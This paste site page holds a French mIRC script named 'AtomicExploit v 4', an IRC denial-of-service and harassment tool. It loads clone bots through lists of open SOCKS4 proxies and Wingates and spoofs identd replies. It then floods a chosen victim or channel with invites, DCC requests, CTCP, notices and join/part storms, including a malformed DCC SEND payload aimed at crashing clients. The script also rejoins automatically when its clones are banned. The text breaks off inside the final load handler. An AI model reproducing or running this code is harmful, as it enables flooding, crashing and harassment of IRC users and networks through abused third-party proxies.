All pastes #1078544 Raw Edit

Own3D

public text v1 · immutable
#1078544 ·published 2008-07-21 17:16 UTC
rendered paste body
;    _________________
;    Dj-mhz & OIMuSiK Production 
;    ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
;     o   Author: OiMuSiK;     o   E-mail mauditcurieux@lekiki.com
;     o   Author: DJ-Mhz;     o   E-mail tech.irc@sympatico.ca
;     o   Site Web http://membres.lycos.fr/techirc/Exploit/
;     o   Vesrsion : 3


dialog Geno {
  title "AtomicExploit v 4"
  size -1 -1 103 258
  option dbu
  button "Options" 1, 77 17 24 10
  box "", 2, 1 1 101 50
  icon 3, 8 5 38 45
  edit "" 4, 3 40 97 10, disable
  text "" 5, 22 42 70 7
  button "Fermer" 6, 53 6 24 10, cancel
  button "Aide" 7, 53 17 24 10 
  button "Enlever" 8, 53 28 24 10 
  box "", 9, 1 50 101 29
  text "Serveur:" 10, 3 56 20 7
  text "Modes:" 11, 3 68 17 7
  text "Port:" 12, 65 68 12 7
  box "", 13, 1 75 101 190
  text "Canal\Victime:", 14, 3 80 39 7
  edit "#" 15, 27 109 56 10, autohs
  edit "" 16, 78 67 20 10
  edit "+i" 17, 24 67 30 10, autohs
  edit "" 18, 24 55 74 10, autohs
  edit "" 19, 3 87 30 10, autohs
  edit "" 20, 40 119 43 10, autohs
  edit "" 21, 24 129 59 10, autohs
  edit "" 22, 29 139 54 10, autohs
  edit "" 23, 25 149 58 10, autohs
  edit "" 24, 40 159 43 10, autohs
  edit "" 25, 40 169 43 10, autohs
  edit "" 26, 34 199 66 8, autohs
  text "___________________", 27, 38 94 44 7
  text "- Exploit -", 28, 38 101 50 7
  box "Etats:", 29, 1 220 101 38
  edit "",  30, 4 228 95 30, vsbar  autovs read multi
  radio "Invite" 31, 3 109 25 10
  radio "Dcc Chat" 32, 3 99 32 10
  radio "Dcc Send" 33, 3 119 35 10
  radio "Msg" 34, 3 129 20 10
  radio "Notice" 35, 3 139 25 10
  radio "Ctcp" 36, 3 149 23 10
  radio "Ctcp Reply" 37, 3 159 36 10
  radio "Join/Part" 38, 3 169 32 10
  radio "Own" 101, 62 102 20 6
  radio "Multi-Part" 102, 3 179 32 10
  edit "" 103, 47 190 53 8
  edit "" 104, 40 179 43 10, autohs
  check "Serveur Ident" 39, 3 191 42 7
  button "Minimiser" 40, 77 6 24 10
  button "WWW" 41, 77 28 24 10
  button "Depart" 42, 4 209 24 10
  button "Areter" 43, 28 209 24 10
  button "Quiter" 44, 52 209 24 10
  text "Msg de quit:" 46, 3 200 30 7
  check "Charger" 47, 50 82 23 15, push
  box "" 57, 1 185 101 73
  box "Clones:"  58, 75 79 25 18
  text ""  59, 77 87 21 8 
  button "D\C" 60, 76 209 24 10
  text "X:" 61, 40 80 10 10
  edit "10" 62, 38 87 10 10
}

alias Atomic.Exploit { 
  if ($dialog(Geno)) { return } 
  if ($window(@AtomicExploit)) { 
    window -a @AtomicExploit 
    return 
  }
  unloadversion?
  unset %geno*
  options.write
  dialog -md Geno Geno
}

alias -l gupload.set {
  if ($active != @AtomicExploit) { return }
  window -c  @AtomicExploit
  set %geno-maximize L 
  dialog -m Geno Geno
  .timergenominimize off
  if (%geno.clones $+ %geno.clonew  $+ %geno.clonel > 0 ) { did -c geno 47  } 
  if ($sock(Identd.geno)) { did -c geno 39 }  
  did -o geno 62 1 %geno-gsaveFX
  var %geno-dest 14
  :loop
  inc %geno-dest
  if (%geno-dest > 26) { 
    var %geno-dest 31 
    goto cloop 
  }
  if ( %geno-gsave- [ $+ [ %geno-dest ] ]  == $null) {  goto loop }
  did -o geno %geno-dest 1 %geno-gsave- [ $+ [ %geno-dest ] ]
  goto loop
  :cloop
  if (%geno-dest  > 39) { 
    unset %geno-gsave* 
    if ($left($did(geno,19).text,1) == +) || ($left($did(geno,19).text,1) == &) || ($left($did(geno,19).text,1) == $chr(35)) { 
      did -ub geno 31,32,33,15,20 
      did -e geno 38,25 
      return  
    } 
    did -ub geno 38,25 
    return 
  } 
  if ($gettok(%geno-gsave, $calc(%geno-dest - 30),44) == 1) { did -c geno %geno-dest  }
  inc %geno-dest 
  goto cloop
} 

alias -l gsave.set {
  unset %geno-gsave* 
  var %geno-dest 14
  set %geno-gsaveFX $did(geno,62).text
  :loop
  inc %geno-dest
  if (%geno-dest > 26) { var %geno-dest 31 | goto cloop }
  set %geno-gsave- [ $+ [ %geno-dest ] ] $did(geno,%geno-dest)).text  
  goto loop
  :cloop
  if (%geno-dest  > 38) { return } 
  set %geno-gsave  [ [ %geno-gsave ] $+ ] , [ $+ [ $did(geno, %geno-dest).state ] ]
  inc %geno-dest
  goto cloop
}

menu menubar {
  -=[ AtomicExploit v 4 ]=- { Atomic.Exploit }
}

on *:dialog:geno:edit:*: {
  if ($did == 19) { 
    if ($left($did(geno,19).text,1) == +) || ($left($did(geno,19).text,1) == &) || ($left($did(geno,19).text,1) == $chr(35)) { 
      did -ub geno 31,15,32,33,20 
      did -e geno 38,25,102,104 
      return 
    } 
    did -e geno 31,15,32,33,20
    did -ub geno 38,25,102,104
  }
  if ($did == 16) || ($did == 62) {
    var %tmp = $mid($did(geno,$did).text,$did(geno,$did).selend,1)
    if (%tmp isnum ) { return }
    did -o geno $did 1 $remove($did(geno,$did).text,%tmp) 
  }
}

alias -l d/c {
  sockclose geno* 
  .timergeno* off
  unset %geno*
  sockclose Identd.geno* 
  info - Deconnecter -
  did -u geno 47
}

on *:dialog:geno:sclick:*:{
  if ($did == 60)  {
    d/c
  }
  if ($did == 39) { 
    if ($did(geno,39).state == 1) { info - Serveur Identd : ON - }
    if ($did(geno,39).state == 0) { 
      info - Serveur Identd: OFF -
      sockclose identd.geno* 
    }
  }
  if ($did == 47) { 
    if ($did(geno,47).state == 0) { 
      info [Arreter Charger Clones] 
      .timergeno* off 
      unset %geno.clone* 
      sockclose geno.ip.probe 
      return 
    }
    set %geno.server-port $did(geno,18) $did(geno,16)
    if ($gettok(%geno.server-port,2,32) == $null) { 
      error.msg ok Erreur: Parametre du serveur non complet. 
      did -u geno 47 
      return 
    }
    unset %geno.clone*
    .timergeno* off
    set %geno.clones.modes $did(geno,17)
    var %tmp = $read -l10 $scriptdiroptions.txt 
    sockclose geno.ip.probe
    if ($remove($gettok(%geno.server-port,1,32),.) isletter ) && ($mid(%tmp,1,1) == 1) { 
      sockopen geno.ip.probe %geno.server-port 
      info - Recherche d'ip sur le serveur - 
      info - Chargement du delais - 
      return 
    }
    connect
  }
  if ($did == 7) && ($exists( [ [ $scriptdir ] $+ ] readme.txt )) { run $scriptdirreadme.txt }
  if ($did == 44) { 
    sockclose geno.ip.probe 
    if ($sock(geno*)) { 
    sockwrite -tn geno* QUIT : [ $+ [ $did(geno,26) ] ] } 
    d/c 
  }
  if ($did == 42) { 
    if ($did(geno,19) == $null) { 
      error.msg ok Erreur: "Channel\Victim" non specifier. 
      return 
    } 
    if ($sock(geno.irc*) == $null) { 
      error.msg ok Erreur: Pas de clones disponible. 
      return 
    } 
    .timergeno.flood* off 
    .timergeno.rejoin off 
    if ($gettok(%geno-victim,1,32) == c) { sockwrite -tn geno.irc* PART : $+ $gettok(%geno-victim,2,32) }
    if ($did(geno,31).state $+ $did(geno,32).state $+ $did(geno,33).state $+ $did(geno,34).state $+ $did(geno,35).state $+ $did(geno,36).state $+ $did(geno,37).state $+ $did(geno,38).state $+ $did(geno,101).state $+ $did(geno,102).state $+ $did(geno,103).state $+ $did(geno,104).state < 1) { 
      error.msg ok Erreur: Choisis un type de flood. 
      return  
    } 
    set %geno-victim $iif($left($did(geno,19),1) == + || $left($did(geno,19),1) == & ||  $left($did(geno,19),1) == $chr(35) ,c,n) $did(geno,19) 
    if ($sock(geno.birc*)) { 
      grejoin 
      .timergeno.rejoin -o 0 10 grejoin 
    } 
    set %geno.FloodX $did(geno,62).text 
    unset %geno.genoflood.reps 
    unset %geno.flood.type
    flood.set $gettok(%geno-victim,2-,32) 
  }
  if ($did == 8) { .timertmpdelay 1 0 genocide.unload } 
  if ($did == 43) { 
    flood.halt 
    info - Flood Aretter - 
  } 
  if ($did == 40) { 
    gsave.set 
    .timergenominimize -o 0 0 gupload.set 
    dialog -x geno geno 
    window -pnk +Lb @AtomicExploit 1 1 1 1 
  }
  if ($did == 41) { run http://membres.lycos.fr/techirc/Exploit/ }
  if ($did == 1) { dialog -am OP.geno OP.geno }
} 

alias -l flood.halt {
  .timergeno.flood* off 
  .timergeno.rejoin off 
  if ($gettok(%geno-victim,1,32) == c) { sockwrite -tn geno.irc* PART : $+ $gettok(%geno-victim,2,32)  } 
}

alias -l task {
  if ($dialog(geno) == $null) && ($window(@AtomicExploit) == $null ) { 
    .timergeno* off 
    .timertask off 
    sockclose identd.geno* 
    unset %geno* 
    sockclose geno* 
    return 
  } 
  if ($dialog(geno) != $null) { did -a geno 59 $str(0, $calc( 3 - $len($sock(geno.irc*,0))))) $+ $sock(geno.irc*,0)  $+ $chr(47)  $+  $str(0,$calc( 3 - $len($sock(geno*,0))))) $+ $calc($sock(geno*,0) - $sock(geno.ip.probe,0))  }
}

alias -l flood.set {
  if ($did(geno,31).state == 1) { set %geno.flood.type Invite $1 : $+ $did(geno,15) } 
  if ($did(geno,32).state == 1) { set %geno.flood.type PRIVMSG $1 :DCC CHAT chat 0 0  }
  if ($did(geno,33).state == 1) { set %geno.flood.type  PRIVMSG $1 :DCC SEND $replace($did(geno,20), $chr(32) ,_) 0 0 0 }
  if ($did(geno,34).state == 1) { set %geno.flood.type PRIVMSG $1 : $+ $did(geno,21) }
  if ($did(geno,35).state == 1) { set %geno.flood.type  NOTICE $1 : $+ $did(geno,22)  }
  if ($did(geno,36).state == 1) { set %geno.flood.type  PRIVMSG $1 : $+ $did(geno,23) $+   } 
  if ($did(geno,37).state == 1) { set %geno.flood.type  NOTICE $1 : $+ $did(geno,24) $+  }
  if ($did(geno,38).state == 1) { 
    set %geno.flood.type  JOIN : $+ $1-  $chr(131)  PART $1 : $+ $did(geno,25) 
    var %geno.flood.len = $calc($len(ABCD : $+ $1) * 2)   
  } 
  if ($did(geno,101).state == 1) { set %geno.flood.type PRIVMSG $1 :DCC SEND "+ q + q + q + q + q + q + q + q q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + q + }
  if ($did(geno,102).state == 1) { set %geno.flood.type JOIN : $+ $1-  $chr(131) PART $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ , $+ $1 $+ : $+ Multi-Part  }
  info - Flood en cours -
  if  ($gettok(%geno-victim,1,32) == c) && ($gettok(%geno.flood.type ,1,32) != Join) {
    sockwrite -tn geno.irc* JOIN : [ $+ [ $gettok(%geno-victim,2-,32) ] ] 
  }
  info victim\channel: $gettok(%geno-victim,2,32)
  if (%geno.flood.len == $null) { var %geno.flood.len = $len(%geno.flood.type )  }
  .timergeno.flood -o $calc(%geno.FloodX + 2)  $iif($round($calc((%geno.flood.len / 50) * $sock(irc.geno*,0)),0) > 1,$round($calc((%geno.flood.len / 50) * $sock(irc.geno*,0)),0),1) geno.flood
  geno.flood
}

alias -l geno.flood {
  if ($sock(geno.irc*,0) == 0) { 
    .timergeno.flood* off 
    return 
  } 
  if ($timer(geno.flood).reps == 2) {
    info - Flood terminer - 
    flood.halt 
    return 
  }
  var %tmpt = $iif($round($calc((%geno.flood.len / 50) * $sock(irc.geno*,0)),0) > 1,$round($calc((%geno.flood.len / 50) * $sock(irc.geno*,0)),0),1) 
  var %tmpd = $timer(geno.flood).delay
  if (%tmpd > %tmpt) { 
    .timergeno.flood -o $timer(geno.flood).reps %tmpt geno.flood  
    geno.flood 
    return 
  }
  if (%tmpd < %tmpt) { 
    .timergeno.flood [ $+ [ $ticks ] ] -o 1 $calc(%tmpt - %tmpd) geno.flood 
    .timergeno.flood -o $timer(geno.flood).reps %tmpt geno.flood 
  }
  sockwrite -tn geno.irc* $gettok(%geno.flood.type,1,131)
  sockwrite -tn geno.irc* $$gettok(%geno.flood.type,2-,131) 
}

on *:dialog:geno:init:0:{
  .timertask -o 0 0 task
  if (%geno-gsave == $null) { did -c geno 36 } 
  if ($exists($scriptdirAtomic.jpg)) { did -g geno 3 $scriptdirAtomic.jpg }
  if (%geno-maximize == $null) {
    did -b geno 38,25,102,104
    did -o geno 19 1 Lamer
    did -o geno 5 1 DJ-Mhz et OIMuSiK
    did -o geno 19 1 Lamer
    did -o geno 23 1 Version
    did -a geno 21,22,24,25,26,104 $str(.,40)
    if ($server != $null) { 
      did -o geno 18 1 geneva.ch.eu.undernet.org 
      did -o geno 16 1 6667  
    }
  }
  unset %geno-maximize
} 

dialog Op.Geno {
  title "AtomicExploit - Options"
  size -1 -1 103 140
  option dbu
  box "Options de connections:" 3, 1 5 101 94
  check "Socks4" 4, 4 15 28 7 
  check "Wingate" 5, 4 25 30 7
  check "Local IP" 6, 4 35 29 7
  edit "" 7, 57 14 25 10
  edit "" 8, 57 24 25 10
  edit "" 9, 3 44 14 10
  edit "" 10, 3 56 14 10
  edit "" 11, 3 68 14 10
  edit "" 12, 3 80 14 10
  edit "" 13, 28 102 60 10, autohs
  edit "" 14, 28 112 60 10, autohs
  text "Port:" 15, 45 15 11 7
  text "Port:" 16, 45 25 11 7
  text ":par Socks4" 17, 17 45 30 7
  text ":par Local IP" 18, 17 69 30 7
  text ":par Wingate" 19, 17 57 33 7
  text ":Sec. Delais De Connection " 20, 17 81 84 7
  text "Socks4:" 21, 5 103 22 7
  text "Wingate:" 22, 5 113 22 7
  box "Listes de serveurs:" 23, 1 95 101 30
  button "?" 24, 89 102 10 10
  button "?" 25, 89 112 10 10
  button "Ok" 26, 22 128 20 10
  button "Annuler" 27, 43 128 20 10, ok
  button "Defaut" 28, 64 128 20 10
}

on *:dialog:op.geno:edit:*:{
  var %tmp = $mid($did(op.geno,$did).text,$did(op.geno,$did).selend,1)
  if ($did < 13) && ( %tmp isnum ) || ($did > 12) { return }
  did -o op.geno $did 1 $remove($did(op.geno,$did).text,%tmp) 
}

on *:dialog:op.geno:init:0: {
  options.write 
  var %geno-dest 7
  :edit-load
  if (%geno-dest >= 15) { 
    var %geno-dest 0 
    var %geno-temp = [ [ $read -l10 [ [ $scriptdir ] $+ ] options.txt ] ] 
    goto ch-loop 
  }
  did -o op.geno %geno-dest 1 $read -l [ $+ [ $calc(%geno-dest - 5) ] ] [ [ $scriptdir ] $+ ] options.txt
  inc %geno-dest 
  goto edit-load
  :ch-loop
  inc %geno-dest
  if (%geno-dest >= 4) { return }
  if ($gettok(%geno-temp, %geno-dest ,44) == 1) { did -c op.geno $calc(%geno-dest + 3) }
  goto ch-loop
}

alias -l geno.file-dir {
  if ($1 == s) { 
    var %geno-buffer [ [ $file="Liste de Socks4:" [ [ $mircdirgenocide\ ]  $+ ]  *.txt ] ]  
    if (%geno-buffer)  { did -o op.geno 13 1 %geno-buffer } 
  }
  if ($1 == w) { 
    var %geno-buffer [ [ $file="Liste de Wingate:" [ [ $mircdirgenocide\ ]  $+ ] *.txt ] ] 
    if (%geno-buffer) { did -o op.geno 14 1 %geno-buffer } 
  }
}

on *:dialog:op.geno:sclick:*:{
  if ($did == 24) { .timerdelay -o 1 0 geno.file-dir s }
  if ($did == 25) { .timerdelay -o 1 0 geno.file-dir w }
  if ($did == 26) { 
    write -c [ [ $scriptdir ] $+ ] options.txt *Ne pas editer manuellement*
    write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.geno,7).text,$did(op.geno,7),1080)
    write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.geno,8).text,$did(op.geno,8).text, 23)
    write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.geno,9).text,$did(op.geno,9).text, 10)
    write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.geno,10).text,$did(op.geno,10).text, 10)
    write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.geno,11).text,$did(op.geno,11).text, 20)
    write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.geno,12).text,$did(op.geno,12).text, 20)
    write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.geno,13).text,$did(op.geno,13).text, [ [ $scriptdir ] $+ ] Socks4.txt)
    write [ [ $scriptdir ] $+ ] options.txt $iif($did(op.geno,14).text,$did(op.geno,14).text, [ [ $scriptdir ] $+ ] Wingate.txt)
    write [ [ $scriptdir ] $+ ] options.txt [ [ $did(op.geno,4).state ] $+ ] , [ $+ [ $did(op.geno,5).state ] $+ ] , [ $+ [ $did(op.geno,6).state ] ]
    dialog -x op.geno op.geno
  }
  if ($did == 28) { op.geno-def }
}

alias -l op.geno-def {
  did -o op.geno 7 1 1080
  did -o op.geno 8 1 23
  did -o op.geno 9 1 10 
  did -o op.geno 10 1 10
  did -o op.geno 11 1 20 
  did -o op.geno 12 1 20
  did -o op.geno 13 1 $scriptdirSocks4.txt
  did -o op.geno 14 1 $scriptdirWingate.txt
  did -c op.geno 4,5,6 
}

alias -l connect { 
  var %tmp = $read -l10 $scriptdiroptions.txt 
  set %geno.socks4list [ [ $read -l8 $scriptdiroptions.txt ] ] 
  set %geno.wingatelist [ [ $read -l9 $scriptdiroptions.txt ] ] 
  if (1 isin %tmp) {
    if ($mid(%tmp,1,1) == 1) && ($exists(%geno.socks4list)) && (%geno.ip.probe) || ($remove($gettok(%geno.server-port,1,32),.) isnum) { 
      if ($remove($gettok(%geno.server-port,1,32),.) isnum) { 
      set %geno.ip.probe $gettok(%geno.server-port,1,32) } 
      set %geno.socks4port [ [ $read -l2 $scriptdiroptions.txt ] ] 
      set %geno.clones [ [ $read -l4 $scriptdiroptions.txt ] ]  
    }
    if ($mid(%tmp,3,1) == 1) && ($exists(%geno.wingatelist)) {  
      set %geno.wingateport [ [ $read -l3 $scriptdiroptions.txt ] ] 
      set %geno.clonew [ [ $read -l5 $scriptdiroptions.txt ] ]  
    }
    if ($mid(%tmp,5,1) == 1) { set %geno.clonel [ [ $read -l6 $scriptdiroptions.txt ] ] }
    if (%geno.socks4list) && ($exists(%geno.socks4list) == $false) && ($mid(%tmp,1,1) == 1) { info Erreur: Impossible de trouver la liste de Socks4. }
    if (%geno.wingatelist) && ($exists(%geno.wingatelist) == $false) && ($mid(%tmp,3,1) == 1)  { info Erreur: Impossible de trouver la liste de Wingate. }
    if (%geno.clonew $+ %geno.clones $+ %geno.clonel == $null) { 
      info Erreur: Pas d'autre types de clones selecter a charger. 
      did -u geno 47 
      return 
    }
    info - Les clones utilise: -
    if (%geno.clonew) { Info Wingate }    
    if (%geno.clones) { Info Socks4(Proxy) }    
    if (%geno.clonel) { Info Local IP }
    info -    
    connect.sockets     
    unset %geno.s#list* %geno.w#list* 
    .timergeno.clone.delay -o 0 [ [ $read -l7 $scriptdiroptions.txt ] ] connect.sockets
    if ($did(geno,39).state == 1) && ($sock(identd.geno) == $null) {
      if ($portfree(113) == $false) { 
        info Erreur - Impossible d'utiliser le port 113 il est utiliser 
        did -u geno 39 
      }
      if ($portfree(113) == $true) { socklisten Identd.geno 113  }
    }
    return
  }
  error.msg ok Erreur: Type(s) de clones pas selectionner.
  did -u geno 47
}

on *:socklisten:Identd.geno:{ sockaccept identd.Geno. [ $+ [ $calc($gettok($sock(identd.Geno.*, $sock(identd.Geno.*,0)),2,46) + 1) ] ]  }

on *:sockread:Identd.geno.*:{ 
  sockread %geno-info.ident 
  sockwrite -nt $sockname %geno-info.ident : USERID : UNIX : $chr($rand(97,122)) $+ $chr($rand(97,122)) $+ $chr($rand(97,122)) $+ $chr($rand(97,122))
  unset  %geno-info.ident  
}

alias -l connect.sockets {
  var %t = $ticks 
  if (%geno.clones > 0)  { 
    dec %geno.clones 
    .timergeno.socks4 [ $+ [  %t ] ] -o 0 0 connect.read.sockets s %t 
  }
  if (%geno.clonew > 0) { 
    dec %geno.clonew 
    .timergeno.wingate [ $+ [  %t ] ] -o 0 0 connect.read.sockets w %t 
  }
  if (%geno.clonel > 0) { 
    dec %geno.clonel  
    sockopen geno.circ [ $+ [ $ticks ] $+ ] . [ $+ [ $calc($gettok($sock(geno.circ*, [ [ $sock(geno.circ*,0) ] ] ),3,46) + 1)  ] ] %geno.server-port 
  }
  load.connect? 
}

alias -l load.connect? {
  if (%geno.clones $+ %geno.clonew  $+ %geno.clonel < 1 ) && ($timer(geno.socks4) $+ $timer(geno.wingate) == $null) { 
    .timergeno.clone.delay off 
    info - Etats : Chargement complet 
    unset %geno.clone* 
    if ($dialog(geno)) { did -u geno 47 } 
  }
}

alias -l connect.read.sockets {
  if ($1 == s) { 
    inc %geno.s#list [ $+ [ $2 ] ]
    var %tmps = $read -l [ $+ [ %geno.s#list [ $+ [ $2 ] ] ] ] %geno.socks4list 
    if (%tmps == $null) { 
      .timergeno.socks4 [ $+ [ $2 ] ] off  
      load.connect? 
      return 
    }
    sockopen geno.proxy. [ $+ [ $calc($gettok($sock(geno.proxy*, [ [ $sock(geno.proxy*,0) ] ] ),3,46) + 1) ] ]  $gettok(%tmps,1,32) $iif($gettok(%tmps,2,32),$gettok(%tmps,2,32), %geno.socks4port)
  }
  if ($1 == w) { 
    inc %geno.w#list [ $+ [ $2 ] ]
    var %tmpw = $read -l [ $+ [ %geno.w#list [ $+ [ $2 ] ] ] ] %geno.wingatelist 
    if (%tmpw == $null) { 
      .timergeno.wingate [ $+ [ $2 ] ] off 
      load.connect? 
      return 
    }
  sockopen geno.wingate. [ $+ [ $calc($gettok($sock(geno.wingate*, [ [ $sock(geno.wingate*,0) ] ] ),3,46) + 1) ] ]  $gettok(%tmpw,1,32) $iif($gettok(%tmpw,2,32) ,$gettok(%tmpw,2,32), %geno.wingateport)  }
}

on *:sockopen:geno.circ*:{
  if ($sockerr > 0) { return }
  sockwrite -tn $sockname USER $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $rand(a,z)  
  sockwrite -tn $sockname NICK $+ $rand(1,999) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) 
}

on *:sockopen:geno.ip.probe:{
  set %geno.ip.probe $sock($sockname).ip
  if ($remove(%geno.ip.probe,.) isletter) { 
    info Erreur: Peut pas retriever le ip du serveur. 
    unset %geno.ip.probe 
  }
  sockclose $sockname
  connect
} 

on *:sockopen:geno.proxy*: {
  if ($sockerr > 0) { return }
  bset &byte 1 4 1 $chr($int($calc($gettok(%geno.server-port,2,32) / 256))) $gettok(%geno.server-port,2,32)  $gettok(%geno.ip.probe,1,46) $gettok(%geno.ip.probe,2,46) $gettok(%geno.ip.probe,3,46) $gettok(%geno.ip.probe,4,46) 0
  sockwrite $sockname &byte 
}

on *:sockread:geno.proxy*:{
  sockread &info.socks4 
  if ($bvar(&info.socks4,2) == 90) {
    sockwrite -tn $sockname USER $rand(a,z) $+ $rand(a,z)  $rand(a,z) $+ $rand(a,z)  $rand(a,z) $+ $rand(a,z)  $rand(a,z) $+ $rand(a,z)
    sockwrite -tn $sockname NICK $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(1,999)
    sockrename $sockname geno.circ [ $+ [ $ticks ] $+ ] . [ $+ [ $calc($gettok($sock(geno.circ*, $sock(geno.circ*,0)),3,46) + 1) ] ]
  }
}

on *:sockopen:geno.wingate*: {
  if ($sockerr > 0) { return }
  sockwrite -tn $sockname %geno.server-port
}

on *:sockread:geno.wingate*: {
  sockread %geno.w-info
  if (...Connecter isin %geno.w-info) {
    sockwrite -tn $sockname USER $rand(a,z) $+ $rand(a,z)  $rand(a,z) $+ $rand(a,z)  $rand(a,z) $+ $rand(a,z)  $rand(a,z) $+ $rand(a,z)
    sockwrite -tn $sockname NICK $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(1,999)
    sockrename $sockname  geno.circ [ $+ [ $ticks ] $+ ] . [ $+ [ $calc($gettok($sock(geno.circ*,$sock(geno.circ*,0)),3,46) + 1) ] ]
  }
  unset %geno.w-info
}

on *:sockread:geno.circ*:{
  sockread %geno-cc.info
  var %geno-raw = $gettok(%geno-cc.info,2,32)
  if (%geno-raw == 433) { sockwrite -tn $sockname  NICK $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(1,999) }
  if ( $gettok(%geno-cc.info,1,32) == PING) { sockwrite -tn $sockname PONG %geno-raw }
  if (%geno-raw == 376) { 
    sockwrite -tn $sockname Mode $gettok(%geno-cc.info,3,32) %geno.clones.modes 
    sockrename $sockname geno.irc [ $+ [ $ticks ] $+ ] . [ $+ [ $calc($gettok($sock(geno.irc*, $sock(geno.irc*,0)),3,46) + 1) ] ]  
    if ($gettok(%geno-victim,1,32) == c) && ($timer(geno.flood)) { sockwrite -tn geno.irc* JOIN : [ $+ [ $gettok(%geno-victim,2-,32) ] ] }
  }
  if (K-line isin %geno-cc.info) && (%geno.nomsgok == $null) { error.msg ok * "K-line" :Les Clone ne peuvent se connecter au serveur. }
  if (G-line isin %geno-cc.info) && (%geno.nomsgok == $null) { error.msg ok * "G-line" :Les Clone ne peuvent se connecter au serveur. }
  unset %geno-cc.info
}

on *:sockread:geno.irc*:{
  sockread %geno-c.info
  var %geno-raw = $gettok(%geno-c.info,2,32)
  if ($gettok(%geno-c.info,1,32) == Erreur) { 
    if (Quit: isin %geno-c.info) { return }
    if (K-line isin %geno-c.info) && (%geno.nomsg == $null) { error.msg yn "K-line" detecter dans le quit du clone, Deconnecter? }
    if (G-line isin %geno-c.info) && (%geno.nomsg == $null) { error.msg yn "G-line" detecter dans le quit du clone, Deconnecter? }
    if (Killed isin %geno-c.info) && (%geno.nomsg == $null) { error.msg yn "Killed" detecter dans le quit du clone, Deconnecter? }
    return 
  }
  if ($gettok(%geno-c.info,1,32) == PING) { sockwrite -tn $sockname PONG %geno-raw }
  if (%geno-raw == KICK) { sockwrite -tn $sockname JOIN $gettok(%geno-c.info,3,32) }
  if (%geno-raw == 474) { 
    if ($sock(geno.birc*,0) == $sock(geno.irc*,0)) && (%geno.bmsg == $null) { 
      info -All Clones have been banned- 
      info -Attempting to rejoin every 10 secs- 
      set %geno.bmsg L 
      set %geno.genoflood.reps $timer(geno.flood).reps 
      .timergeno.flood* off 
    }  
    if (%geno.genoflood.reps) { 
      sockrename $sockname geno.birc [ $+ [ $ticks ] $+ ] . [ $+ [ $calc($gettok($sock(geno.birc*, [ [ $sock(geno.birc*,0) ] ] ),3,46) + 1) ] ] 
      if ($timer(grejoin) == $null)  { .timergeno.rejoin -o 0 10 grejoin } 
    } 
  }
  unset %geno-c.info
}

alias -l grejoin {
  if ($sock(geno.birc*) == $null) { 
    .timergeno.rejoin off 
    unset %geno.bmsg 
    return 
  }
  sockwrite -tn geno.birc* JOIN $gettok(%geno-c.info,3,32)
}

on *:sockread:geno.birc*:{
  sockread %geno-bc.info
  var %geno-raw = $gettok(%geno-bc.info,2,32)
  if ($gettok(%geno-bc.info,1,32) == PING) { sockwrite -tn $sockname PONG %geno-raw }
  if (%geno-raw == JOIN) { 
    sockrename $sockname geno.irc [ $+ [ $ticks ] $+ ] . [ $+ [ $calc($gettok($sock(geno.irc*, [ [ $sock(geno.irc*,0) ] ] ),3,46) + 1) ] ] 
    if ($sock(geno.irc*,0) == 1) || (%geno.genoflood.reps) { .timergeno.flood -o %geno.genoflood.reps $iif($round($calc((%geno.flood.len / 50) * $sock(irc.geno*,0)),0) <= 0 ,$round($calc((%geno.flood.len / 50) * $sock(irc.geno*,0)),0),1) geno.flood  }
  } 
}

dialog Msg.Geno {
  title "Atomic.Exploit - Raport d'erreur:"
  size -1 -1 100 50
  option dbu
  text "" 1, 30 5 65 25
  button "OK" 3, 38 35 25 12, ok 
  icon 4, 6 5 16 16
  button "Oui" 5,  25 35 25 12
  button "Non" 6, 50 35 25 12
  check "Ne plus voir le messages" 7, 3 23 85 10
  box "" 8, 0 -2 100 24
}

alias -l info {
  if ($dialog(geno)) {
    did -i geno 30 $did(geno,30).lines $1- 
  }
}

alias error.msg {
  if ($dialog(msg.geno)) { dialog -x msg.geno msg.geno }  
  set %geno.infomsg $2-
  set %geno.infomsgop $1
  dialog -amo msg.geno msg.geno
} 

on *:dialog:msg.geno:init:0:{
  if (%geno.infomsgop == yn) { did -h msg.geno 3 }
  if ($gettok(%geno.infomsgop,1,32) == ok) { did -h msg.geno 5,6,7 }
  if ( $gettok(%geno.infomsg,1,32) == * ) { 
    did -a msg.geno 1 $gettok(%geno.infomsg,2-,32) 
    did -v msg.geno 7  
  }
  if ( $gettok(%geno.infomsg,1,32) != * ) { did -a msg.geno 1 %geno.infomsg }
  dialog -v msg.geno msg.geno
  if ($exists($scriptdirerror.ico)) { did -g msg.geno 4 $scriptdirerror.ico }
  ;unset %geno.infomsg* 
}

on *:dialog:msg.geno:sclick:*:{
  if ($did == 7) { return }
  if ($did == 5) { 
    sockclose geno* 
    sockclose identd.geno* 
    if ($timer(genominimize)) { var %tmp 0 }
    .timergeno* off
    if (%tmp) { .timergenominimize -o 0 0 gupload.set }
    unset %geno.clone*
  }
  if ($did(msg.geno,7).state == 1) && ($did != 3) { set %geno.nomsg 1 }
  if ($did == 3) && ($did(msg.geno,7).state == 1) { set %geno.nomsgok 1 }
  dialog -x msg.geno msg.geno
}

on *:load: { 
  unloadversion?
  echo -a 0,1 AtomicExploit charger avec succes
